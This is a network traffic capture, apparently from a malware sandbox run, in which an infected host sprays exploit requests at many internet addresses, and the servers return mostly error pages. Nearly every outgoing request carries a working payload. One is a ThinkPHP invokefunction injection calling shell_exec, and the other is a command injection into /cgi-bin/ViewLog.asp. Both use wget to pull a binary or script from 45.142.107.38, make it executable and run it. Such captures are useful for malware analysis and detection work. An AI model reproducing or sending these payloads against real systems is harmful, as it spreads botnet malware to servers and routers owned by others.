Mar 4, 2024 15:06:48.088114023 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Mon, 04 Mar 2024 14:06:47 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	38626	112.47.18.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:46.410223961 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:46.804068089 CET	489	IN	HTTP/1.1 400 Bad Request Server: kngx/1.10.2 Date: Mon, 04 Mar 2024 14:06:46 GMT Content-Type: text/html Content-Length: 172 Connection: close KS-Deny-Reason: client\|154.16.192.203\|cdnquanzcm24-lcache06.cdnquanzcm24.ksyun.com\|proxy\|client-sent-HTTP/1.1-request-without-Host-header x-link-via: quanzcm24:80; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 6e 67 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	54710	112.153.206.110	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:47.093504906 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:47.397583961 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 04 Mar 2024 14:02:57 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8o DAV/2 PHP/5.2.11 with Suhosin-Patch mod_wsgi/3.3 Python/2.7.1+ X-Powered-By: PHP/5.2.11 Content-Length: 1035 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 20 4e 41 53 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 73 69 74 65 5f 6d 65 64 69 61 2f 63 73 73 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 22 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 39 65 39 65 39 20 75 72 6c 28 27 2f 73 69 74 65 5f 6d 65 64 69 61 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 62 67 2e 67 69 66 27 29 20 6c 65 66 74 20 74 6f 70 20 72 65 70 65 61 74 2d 78 3b 20 22 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 65 72 72 6f 72 5f 70 61 67 65 22 3e 0d 0a 09 3c 68 31 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 73 69 74 65 5f 6d 65 64 69 61 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 6c 6f 67 6f 2e 67 69 66 22 20 61 6c 74 3d 22 6c 67 20 4e 65 74 77 6f 72 6b 20 53 74 6f 72 61 67 65 22 20 2f 3e 3c 2f 68 31 3e 0d 0a 09 3c 70 20 63 6c 61 73 73 3d 22 65 72 72 5f 69 6d 67 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 73 69 74 65 5f 6d 65 64 69 61 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 66 65 65 6c 5f 69 6d 67 2e 67 69 66 22 20 61 6c 74 3d 22 22 20 2f 3e 3c 2f 70 3e 0d 0a 09 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 74 79 35 22 3e 0d 0a 09 09 55 73 65 72 20 57 65 62 20 53 65 72 76 69 63 65 20 73 74 61 72 74 65 64 20 3c 62 72 2f 3e 0d 0a 09 09 4c 47 20 4e 41 53 20 4d 61 6e 61 67 65 6d 65 6e 74 20 50 61 67 65 20 55 52 4c 20 2d 20 3c 61 20 68 72 65 66 3d 68 74 74 70 3a 2f 2f 3a 38 30 30 30 20 63 6c 61 73 73 3d 22 74 65 78 74 74 79 36 22 3e 68 74 74 70 3a 2f 2f 3a 38 30 30 30 2f 3c 2f 61 3e 3c 2f 70 3e 0d 0a 09 0d 0a 09 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 74 79 34 22 3e 43 6f 70 79 72 69 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Content-Script-Type" content="text/javascript" /><meta http-equiv="Content-Style-Type" content="text/css" /><title> NAS </title><link rel="stylesheet" type="text/css" href="/site_media/css/common.css"/></head><body style="background:#e9e9e9 url('/site_media/images/error/bg.gif') left top repeat-x; "><div id="error_page"><h1><img src="/site_media/images/error/logo.gif" alt="lg Network Storage" /></h1><p class="err_img"><img src="/site_media/images/error/feel_img.gif" alt="" /></p><p class="textty5">User Web Service started <br/>LG NAS Management Page URL - <a href=http://:8000 class="textty6">http://:8000/</a></p><p class="textty4">Copyrig
Mar 4, 2024 15:06:47.397602081 CET	96	IN	Data Raw: 68 74 20 c2 a9 20 32 30 31 30 4c 47 20 45 6c 65 63 74 72 6f 6e 69 63 73 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ht 2010LG Electronics Inc. All rights reserved.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	47898	112.15.41.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:47.298158884 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:49.725878000 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:52.023173094 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:52.854820013 CET	483	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:06:52 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: vcache17.cn3514[,0] Timing-Allow-Origin: * EagleId: 0000000017095612126835714e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	38644	112.47.18.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:47.533804893 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:47.945065975 CET	489	IN	HTTP/1.1 400 Bad Request Server: kngx/1.10.2 Date: Mon, 04 Mar 2024 14:06:47 GMT Content-Type: text/html Content-Length: 172 Connection: close KS-Deny-Reason: client\|154.16.192.203\|cdnquanzcm24-lcache06.cdnquanzcm24.ksyun.com\|proxy\|client-sent-HTTP/1.1-request-without-Host-header x-link-via: quanzcm24:80; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 6e 67 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>kngx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	47904	112.15.41.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:47.788964033 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:51.511050940 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:52.209728003 CET	483	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:06:52 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: vcache10.cn3514[,0] Timing-Allow-Origin: * EagleId: 0000000017095612120303965e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	47894	112.15.41.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:48.010083914 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:52.023181915 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:52.718709946 CET	482	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:06:52 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: vcache2.cn3514[,0] Timing-Allow-Origin: * EagleId: 0000000017095612125448657e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	50352	31.200.69.212	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:50.669064999 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	49810	62.210.227.204	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:50.827783108 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:50.989665031 CET	54	IN	HTTP/1.0 500 Failed to read POST request

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	56128	94.123.66.242	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:50.895457029 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	34174	112.175.135.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:51.301363945 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:51.589135885 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	39718	94.121.61.183	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:51.664266109 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	52684	31.200.79.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:51.664324045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	44960	112.124.28.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:52.990926027 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:53.324287891 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.13	59718	112.197.114.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:52.993992090 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
